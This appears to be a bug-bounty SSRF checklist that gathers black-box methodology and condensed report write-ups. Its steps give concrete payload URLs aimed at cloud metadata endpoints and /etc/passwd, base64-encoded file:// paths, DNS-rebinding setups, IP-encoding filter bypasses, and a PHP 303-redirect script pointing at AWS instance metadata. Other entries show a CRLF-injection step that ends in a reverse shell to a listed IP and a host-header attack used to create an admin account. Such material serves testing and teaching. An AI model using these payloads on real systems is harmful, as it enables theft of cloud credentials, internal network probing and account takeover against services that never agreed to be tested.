Server Side Request Forgery

Check List

Methodology

Black Box

1

Go to the site that uses Next Js technology, right click and select View Page Source

2

Search for /_next/image?url= and see if you see anything

3

And send this request in the form below

GET https://target/_next/image?url=https://attacker.com/p.png&w=100&q=75
4

Check if the server has hit our server or not, if it has hit, the vulnerability will be detected


SSRF vectors

1

A common one. Think about functions where the application fetches something based on a URL — maybe an image importer or data fetcher. If the app is grabbing content from an external URL, you can bet it might be susceptible to SSRF, especially if there’s no proper validation. The idea here is to try feeding internal URLs like http://localhost or http://127.0.0.1

2

Oh yes, file uploads. These can be sneaky. Imagine an application that lets users upload files — things like PDFs, SVGs, or even Office documents. If the backend processes these files, SSRF might be hiding here. You can try uploading files with embedded URLs pointing to internal services (Reference: The PDF Trojan Horse: Leveraging HTML Injection for SSRF and Internal Resource Access)

3

Proxy Implementations: Proxies are interesting because they route requests through the server. If the application lets you send requests through a proxy and doesn’t validate the URLs strictly, you’ve got a shot at SSRF. This is especially true if it doesn’t sanitize user-supplied URLs. Try sending requests to internal services or other unauthorized endpoints and see what happens

4

Server Status and Monitoring Features: Now, look for those features that allow you to check server status or application health. These functionalities often query internal services for status information — perfect spots for SSRF. If you find one, try manipulating the requests to hit internal endpoints or sensitive services

5

File Storage Integrations: If your target integrates with third-party services like Google Drive, Amazon S3, or Dropbox, check if the app makes server-side requests to fetch or store files. These are excellent candidates for SSRF, as you can try manipulating the requests to fetch internal files or data from unauthorized services. By injecting a crafted URL into these integrations, you might access internal systems that were never meant to be exposed

6

Path Parameters and Host Headers: Pay close attention to how path parameters and host headers are handled. If an application uses path parameters to construct server-side requests, that’s another spot to test for SSRF. Try manipulating the parameters to redirect requests to internal resources. Similarly, the host header might be leveraged to control where requests are sent. Test for any weaknesses here — you might be able to influence the destination of requests using the host header


Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata

1

Login to Platform Access https://example.com/ and sign in with valid credentials

2

Go to Creative Library, select New Creative

3

Let's examine the program and go to the point where it receives a file from the media or a link or server and create a template/Image

4

Replace Image in Template Click on an image in the template, select Replace, then choose Import

5

Use Burp Suite to intercept the POST request to /api/v1/media/import with URL parameter set to http://attacker-controlled-domain/ssrf.html

6

Run a Flask server on ssh.attacker-domain:5000 with endpoints for logging and timing delays

7

Host ssrf.html on demon.attacker-domain:80 containing JavaScript to log timing, loop requests, and fetch metadata endpoints

8

Submit the intercepted request with the malicious URL to initiate server-side fetch of ssrf.html

9

Immediately after triggering, update DNS for attacker-controlled-domain to resolve to 169.254.169.254

10

Wait 3 minutes and check timing server logs for exfiltrated data like SSH keys, service accounts, and hostname from Google Compute Engine metadata


SSRF via remote_attachment_url injection in Export/Import mechanism

1

Create a new project/space on the target platform

2

Create an importable item (e.g., an issue, ticket, record, or any model with notes/attachments) and add a note/entry to it

3

Export the project/space using the platform’s export mechanism to generate the export file

4

Extract the downloaded export archive

5

In the export JSON (e.g., project.json or equivalent), locate the note/entry hash and add or set the remote_attachment_url field to an attacker-controlled URL (for example "http://attacker-controlled-domain/payload"). If available, also add/set header fields such as remote_attachment_request_header

6

Recompress the export back into the original archive format and import the reconstructed export via the platform’s import mechanism

7

After import completes, navigate to the imported item/note and view it so the platform creates the model and triggers any server-side download

8

On the attacker-controlled server, check logs or callbacks to confirm the target server fetched the malicious URL and (if successful) exposed internal data/metadata or accessed local services


Webhook-based SSRF via DNS rebinding

1

Log in to the platform and identify the platform points and if it has a Webhook, follow the steps below

2

Create a webhook on the target platform for a repository/service/event

3

Use an attacker-controlled domain as the webhook URL (e.g. http://990.hacker1.example)

4

Wait about 10 seconds for DNS/TTL changes or CNAME switching to take effect

5

Trigger the webhook using the platform’s test/send test payload option (e.g., for a Push event)

6

After the webhook runs, check whether the server’s request returned content from internal services (e.g., http://169.254.169.254, http://127.0.0.1, or other local endpoints)

7

Wait ~15 seconds between attempts to avoid DNS caching interference

8

Use a chain of CNAME records on the attacker-controlled DNS to prevent caching and reliably change the request target

9

Inspect attacker-controlled server logs to confirm the target server fetched the malicious URL and returned internal data


Full-read SSRF — Local file read and AWS metadata (IMDS) exfiltration via Base64-encoded path parameter

1

Full read SSRF in www.example.com that can leak aws metadata and local file inclusion

2

Access Vulnerable Endpoint Navigate to https://www.example.com/ro/ endpoint with base64-encoded path parameter

3

ase64 encode "file:///home/abenavides/#.js" to ZmlsZTovLy9ob21lL2FiZW5hdmlkZXMvIy5qcw==

and append /.js to URL

https://www.example.com/ro/ZmlsZTovLy9ob21lL2FiZW5hdmlkZXMvIy5qcw==/-1430533899.js
4

Request Directory Listing Submit request and observe response leaking contents of /home/abenavides/ directory

5

Leak System File Base64 encode "file:///etc/passwd#.js" to ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw== and request

https://www.example.com/ro/ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw==/-1430533899.js

to extract file contents

6

Trigger SSRF to Metadata Base64 encode "http://169.254.169.254/#.js" to aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpzand request

https://www.example.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js  
7

Verify Internal Access Check response for AWS metadata contents, confirming SSRF exploitation


SSRF in graphQL query

1

Configure Burp Collaborator to monitor incoming DNS and HTTP requests

2

Submit GraphQL query with source parameter set to full URL

{ allTicks(source: "http://your-collaborator-domain.burpcollaborator.net") }  
3

Observe DNS and HTTP requests hitting Burp Collaborator confirming SSRF

4

Replace source with internal URLs like "http://localhost:8080" or "http://169.254.169.254" to scan internal network

5

Confirm DNS resolutions and port connectivity without HTTP response visibility

6

Use SSRF to map open ports and internal services for further vulnerability discovery


Image-proxy SSRF

1

Navigate to https://duckduckgo.com/iu?u=http://yimg.com/path and confirm successful response

2

Try https://duckduckgo.com/iu?u=https://google.com and verify rejection

3

Submit https://example.com/iu?u=http://127.0.0.1:6868/status/?q=http://yimg.com/ to bypass yimg.com check

4

Test localhost ports (22, 25, 80, 443, 587, 6380, 6432, 6767, 6868, 8000) using

https://example.com/iu?u=http://127.0.0.1:$PORT/?q=http://yimg.com/  
5

Request https://example.com/iu?u=http://127.0.0.1:6868/status/?q=http://yimg.com/ and extract Redis URLs, ping times, and internal statistics

6

Document successful internal service interactions confirming cross-origin port scanning capability


SSRF chained to hit internal host leading to another SSRF which allows to read internal images

1

Access Primary SSRF Endpoint Navigate to

https://api.example.net/images/?format=png&image=https%3A//store.mgmt.example.net/store/api/chihiro/00_09_000/container/US/en/999/UP4134-CUSA00329_00-ONNTGAME00000001/1429722215000/image%3F_version%3D00_09_000%26platform%3Dchihiro%26w%3D225%26h%3D225%26bg_color%3D000000%26opacity%3D10
2

to fetch internal banner image from store.mgmt.example.com confirming SSRF to internal hosts

3

Test Secondary SSRF Endpoint Access

https://image.api.np.km.example.net/dis/images/?format=png&image=https%3A%2F%2Fdis.api.np.example.net%2Fdis%2Fv1%2Fbanners%3Fbackplate%3Dfile:////usr/share/pixmaps/system-logo-white.png%26dimensions%3D790x250%26price%3D%2436.99%26price_discount%3D%2424.41%26format%5B%5D%3DPS4%26type%3DF%22%3E%3Csvg%3Ebanner%3C/svg%3Eull+Game%26locale%3Den_CA%26cta%3DDownload+No%26output%3Dsvg%26tpl%3Dbanner-web-store%26store%3Dgame%26region%3Dus%26
4

Verify Local File Read , Confirm response contains rendered PNG of system-logo-white.png confirming local file extraction via dis.api.np.playstation.net banner service

5

Test Internal Network Access Modify image parameter to other internal PSN hosts (e.g., mgmt.*.playstation.com) with valid image paths confirming broader SSRF capability

6

Confirm Chained Exploitation Document flow: image.api.np.km.playstation.net fetches from dis.api.np.playstation.net which reads file:// local image and overlays banner data confirming full LFI via SSRF


SSRF in url parameter

1

Request File Storage Endpoint Send GET request to https://couriers.example.com/api/file-storage?url=http://your-burp-collaborator.oastify.com

2

Monitor Burp Collaborator, Observe incoming HTTP interaction confirming SSRF execution

3

Verify Response Content Check response body contains HTML from collaborator payload: 6zy5d1pwzab93qopx8jq2ezjigz

4

Test External Website Request https://couriers.example.com/api/file-storage?url=https://www.google.com and verify Google HTML displayed in response

5

Test Internal Services

Modify URL parameter to http://localhost:8080 or http://169.254.169.254 to access internal network

6

Confirm Arbitrary Request Capability Document ability to fetch content from any external/internal host via unsanitized url parameter


CRLF injection & SSRF

1

Setup Redis Server Configure Redis to listen on 127.0.0.1:6379

2

Sign in to Platform, create a new project

3

Navigate to project Settings -> Repository -> Mirroring repositories

4

Capture POST request for adding mirror using Burp Suite

5

Set project [remote_mirrors_attributes][0][url] to:

git://127.0.0.1/:2333/aaaaaaaaaaaaaaaa

in burp request to this

git://127.0.0.1/aaa
aaa
aaa
aa
a {...}
6

Send POST to /{username}/{project name}/mirror/update_now?sync_remote=true to execute mirror action

7

Listen on 118.89.198.146:8000 and confirm incoming reverse shell from GitLab server confirming RCE


Blind SSRF — image/URL-downloader endpoint

1

Create Test Account Register a new test account on the platform

2

Log In to Account Sign in using the created test account credentials, confirming redirection to https://exmaple.com/my/

3

Navigate to Profile Edit Access the edit profile section from the user dashboard

4

Locate User Picture Field Scroll to the user picture upload area and initiate the upload process

5

Activate Burp Collaborator Launch Burp Collaborator client to monitor for incoming HTTP and DNS interactions

6

Submit External URL Payload Enter a Burp Collaborator URL in the URL downloader field, appending /test.png (e.g., http://example.com/test.png), and submit

7

Poll for Interactions Check Burp Collaborator for HTTP and DNS requests confirming Blind SSRF, noting internal IP address from interactions

8

Enable Proxy and Intercept Activate Foxy Proxy to route traffic through Burp Suite

9

Submit Localhost Payload Enter http://127.0.0.1/test.png in the URL downloader and submit, intercepting the POST request to /repository/repository_ajax.php?action=signin

10

Verify SSRF Confirmation Examine intercepted request containing file parameter and confirm response leaks server information (e.g., nginx, PHP/7.4.28) and embedded 404 response confirming Blind SSRF

11

Test Port-Specific Leaks Modify payload to http://127.0.0.1:25/test.png and confirm response leaks Postfix SMTP server details confirming libcurl usage and broader SSRF capability

POST /repository/repository_ajax.php?action=signin HTTP/1.1
Host: example.com
Cookie: MoodleSession=c5416a0e3ea3db1606b2876b0b6ac35f; RedirectDouble=1; MOODLEID1_=%25BA%2519V%25E8%25DA%2517
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 295
Origin: https://example
Referer: https://example.com/user/edit.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

file=http%3A%2F%2F127.0.0.1%2Ftest.png&
repo_id=5&p=&page=&env=filemanager&
accepted_types[]=.gif&accepted_types[]=.jpe&accepted_types[]=.jpeg&
accepted_types[]=.jpg&accepted_types[]=.png&
sesskey=h2ixtMF4Fv&client_id=6315fe93ef054&itemid=951353609&maxbytes=1073741824&areamaxbytes=-1&ctx_id=9398501
12

You will notice one error showing some info about server which confirms Blind SSRF again. The response looks like this

13
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 05 Sep 2022 14:05:32 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/7.4.28
Set-Cookie: RedirectDouble=1; path=/
Set-Cookie: RedirectDouble=1; path=/
Set-Cookie: RedirectDouble=1; path=/
Set-Cookie: RedirectDouble=1; path=/
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 20 Aug 1969 09:23:00 GMT
Last-Modified: Mon, 05 Sep 2022 14:05:32 GMT
Accept-Ranges: none
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 261

{"list":[],"nosearch":true,"norefresh":true,"nologin":true,"error":"HTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Mon, 05 Sep 2022 14:05:32 GMT\r\nContent-Type: text\/html; charset=utf-8\r\nContent-Length: 146\r\nConnection: keep-alive\r\n\r\n","repo_id":5

SSRF — timing-based/internal port-scanning via URL-input endpoints

1

Identify URL Input Endpoint

2

Locate API endpoint accepting user-supplied URLs (e.g., POST /api/profile/upload_picture with "picture_url" parameter)

3

Submit Malicious Localhost URL

4

Send request with: {"picture_url": "http://localhost:8080"}

5

Measure Response Time

6

Record time taken for server response to determine if port 8080 is open

7

Test Multiple Ports

8

Submit requests with "http://localhost:PORT" for ports 22, 25, 80, 443, 3000, 8080, 6379

9

Submit "http://127.0.0.1:PORT", "http://169.254.169.254/latest/meta-data/", "http://10.0.0.1/admin"

10

Document open ports based on response times (<2s = open, >10s = filtered, timeout = closed)

11

Confirm response contains AWS/GCP metadata when using "http://169.254.169.254" or equivalent


Bypassing SSRF Protection

1

Host a PHP file on attacker server with: and submit URL http://attacker.com/redirect.php to force server redirect to internal address

2

Configure A/AAAA record for subdomain.attacker.com to resolve to 127.0.0.1 and submit http://subdomain.attacker.com to make server fetch from internal IP

3

Replace IPv4 with equivalent IPv6 like [::1] for localhost and submithttp://[::1] to evade IPv4 blacklist

4

Convert 127.0.0.1 to 0x7f.0x0.0x0.0x1 and submit http://0x7f.0x0.0x0.0x1 to bypass decimal checks

5

Convert 127.0.0.1 to 0177.0.0.01 and submit http://0177.0.0.01 to evade decimal blacklists

6

Convert 127.0.0.1 to 2130706433 and submit http://2130706433 to represent IP as single integer

7

Encode "localhost" as %6c%6f%63%61%6c%68%6f%73%74 and submit http://%6c%6f%63%61%6c%68%6f%73%74 to slip past string filters

8

Combine formats like 0177.0.0.0x1 for 127.0.0.1 and submit http://0177.0.0.0x1 to confuse parsers

9

If whitelist exists, find open redirect on whitelisted domain (e.g., whitelisted.com/redirect?url=http://127.0.0.1) and submit to bypass

10

Create subdomain like victim.com.attacker.com or path attacker.com/victim.com and submit to exploit poor regex validation

11

Hypothesize blacklist logic (e.g., regex for 127.0.0.1), design bypasses for assumed implementation, and test variants


SSRF via service-import with 303-redirect bypass to exfiltrate AWS IMDS

1

SSRF via service-import with 303-redirect bypass to exfiltrate AWS IMDS

2

Navigate to example.com and authenticate with a valid account

3

Identify the import document functionality supporting Dropbox, OneDrive, GDrive, Box, and Evernote services

4

Intercept the import request for Dropbox, modify file_reference parameter to Burp Collaborator URL, and confirm 404 response indicating protection

5

Switch to OneDrive import (service_type=O), set file_reference to Burp Collaborator URL, and verify incoming HTTP interaction confirming SSRF

6

Observe PDF document generated in HelloSign containing collaborator page HTML confirming full response disclosure

7

Try file_reference=http://169.254.169.254/latest/meta-data/ and http://127.0.0.1 confirming 404 responses due to protection

8

Review HackerOne report https://hackerone.com/reports/247680 for 303 redirect SSRF bypass method

9

Deploy PHP script on attacker server:

<?php header('Location: http://169.254.169.254/latest/meta-data/', TRUE, 303); ?>
10

Set file_reference to attacker server URL (http://attacker.com/redirect.php) in OneDrive import request

11

Confirm response contains AWS instance metadata including access keys and tokens confirming successful bypass

12

Use extracted credentials to attempt AWS CLI commands like ec2 stop-instances --instance-ids i-instanceid, document insufficient permissions


SSRF Host Header Injection

1

Send GET request to https://abc.victim.com/ with X-Forwarded-Host: a.com and confirm 500 Internal Server Error

2

Set X-Forwarded-Host: burp-collaborator.com and observe multiple incoming requests to Collaborator containing user cookies and authorization queries

3

Deploy Node.js server on attacker.com to replay legitimate responses from abc.victim.com to SSRF requests

4

Send GET https://abc.victim.com/ with X-Forwarded-Host: attacker.com and confirm successful login without 500 error

5

Identify SSRF request with JSON {"type": "user"}, change to {"type": "admin"} on attacker.com server

6

Access https://abc.victim.com/ with X-Forwarded-Host: attacker.com and confirm admin dashboard access with sensitive data visibility

7

Navigate to 'Add New User' as admin, submit admin creation request despite 403 response

8

Verify new admin account creation and login, demonstrating full organization control via new admin privileges


Query Wayback Machine for URLs

1

Access https://web.archive.org/cdx/search/cdx?url=.example.com/&output=text&fl=original&collapse=urlkey&filter=statuscode:200 to retrieve archived URLs from example.com

2

Review output for API endpoints with parameters like getImage, url, path, and identify /pdf-service?path=/test/testpage

3

Submit https://example.com/pdf-service?path=attacker.com and verify internal server error confirming validation

4

Submit https://example.com/pdf-service?path=@attacker.com and confirm PDF contains Google page content confirming SSRF

5

Submit https://example.com/pdf-service?path=@your-burp-collaborator.com and document incoming interactions revealing AWS EC2 IPs

6

Submit https://example.com/pdf-service?path=@169.254.169.254/latest/meta-data/ and iterate across instances until confirming 200 status with AWS metadata in PDF

7

Submit https://example.com/pdf-service?path=@internal-domain.com to discover internal domains and localhost ports like 3000 (Node.js)

8

Note that localhost port scanning causes denial of service and cease further scanning to avoid disruption


DNS‑rebinding‑assisted Blind SSRF

1

Locate GET /test/?url= parameter on redacted subdomain confirming potential SSRF

2

Submit url=http://your-burp-collaborator.com and observe 501/503 errors across subdomains

3

Configure Intruder with payloads

/latest/meta-data/hostname
/latest/meta-data/ami-id
/latest/meta-data/local-ipv4
/latest/meta-data/public-ipv4
/latest/meta-data/security-groups
/latest/meta-data/instance-type
4

Configure DNS Rebindingss

Use 7f000001.a9fea9fe.rbndr.us domain configured to resolve to

127.0.0.1 (29/30 requests - blocked) 169.254.169.254 (1/30 requests - metadata access)

5

Submit 30+ Intruder Requests Monitor for 200 OK responses containing JSON errors with AMI-ID and metadata confirming 1/30 success rate

6

Verify Metadata Exfiltration Confirm successful responses contain AMI-ID, hostname, local-ipv4, public-ipv4, security-groups, instance-type


Identify GraphQL Endpoint

1

Locate GraphQL API endpoint (https://pwapi.ex2b.com/) supporting allTicks query

2

Test Legitimate Query

query :

{ allTicks(symbol: "TSLA", source: "https://example.com") { symbol server source ask time bid } }

and verify normal response

3

Confirm External SSRF , Replace source with Burp Collaborator

{ allTicks(symbol: "TSLA", source: "https://your-collaborator.burpcollaborator.net/") { symbol server source ask time bid } }
4

Monitor Collaborator Interactions Poll Burp Collaborator and confirm incoming DNS + HTTP GET requests proving SSRF

5

Test GET Parameter Manipulation

{ allTicks(symbol: "TSLA", source: "https://your-collaborator.burpcollaborator.net/?do=something&param=evil") { symbol server source ask time bid } }

and verify parameters reach server request

6

Exploit Internal Network Access Submit source payloads :

"http://127.0.0.1:8080/"  
"http://localhost:3000/admin"  
"http://169.254.169.254/latest/meta-data/"  
"http://10.0.0.1/internal-api"  
7

Document DNS resolutions and connection attempts to internal IPs/ports confirming network probing capability


Full‑read SSRF via PDF generation endpoint

1

Navigate to http://int.redacted.com/pdf.axd?url=example.com and confirm PDF generation functionality

2

Submit url=https://evil.com and verify PDF contains content from the external domain confirming lack of input validation

3

Submit url=http://your-interactsh-url and monitor Interact.sh for incoming HTTP interaction confirming SSRF

4

Document IP address from Interact.sh response belongs to AWS confirming cloud environment

5

Submit url=http://169.254.169.254/latest/meta-data/ and confirm response includes metadata confirming successful exfiltration

6

Submit url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance and document leaked Access Key ID, Secret Access Key, and Session Token


1

Examine Burp Suite HTTP History for sensitive GraphQL requests after initial testing yields no bugs

2

Locate POST /agw/graphql?op=UrlReachableVerifierQuery with variables: {"url": "http://example.com/"}

3

Replace url with Burp Collaborator domain and verify incoming HTTP requests from two Google Cloud IPs confirming Blind SSRF

4

Note only "url" and "__typename" fields echoed back in JSON response limiting direct exploitation

5

Test Google Cloud Metadata Header Attempt:

curl "https://example.internal/computeMetadata/v1/instance/image" -H "Metadata-Flavor: Google"
6

and confirm header requirement

7

Modify query to include various fields after verifyUrlReachable: ... on UrlReachableResult { FUZZ __typename }

8

Change query to: verifyUrlReachable(url: $url) { UrlReachable __typename } and confirm "Reachable" echo in response

9

Attempt Direct Metadata Bypass, Test url="http://metadata.google.internal/computeMetadata/v1/" and confirm "Not_Reachable" response

10

Configure DNS Rebinding Setup Ceye DNS rebinding with Google Cloud IP (1xx.xxx.xxx.xxx) to alternate between external and 169.254.169.254

11

Submit url="http://rebinding-domain.ceye.io" and confirm "Reachable" response proving bypass success

12

Scan Internal Ports via Rebinding Test url="http://rebinding-domain.ceye.io:80" → "Reachable" Test url="http://rebinding-domain.ceye.io:443" → "Not_Reachable"

13

Capture evidence showing internal network probing: Port 80 open, others filtered confirming critical SSRF impact

14

Include PoCs demonstrating DNS rebinding bypass and internal port scanning for review


White Box

Cheat Sheet

Last updated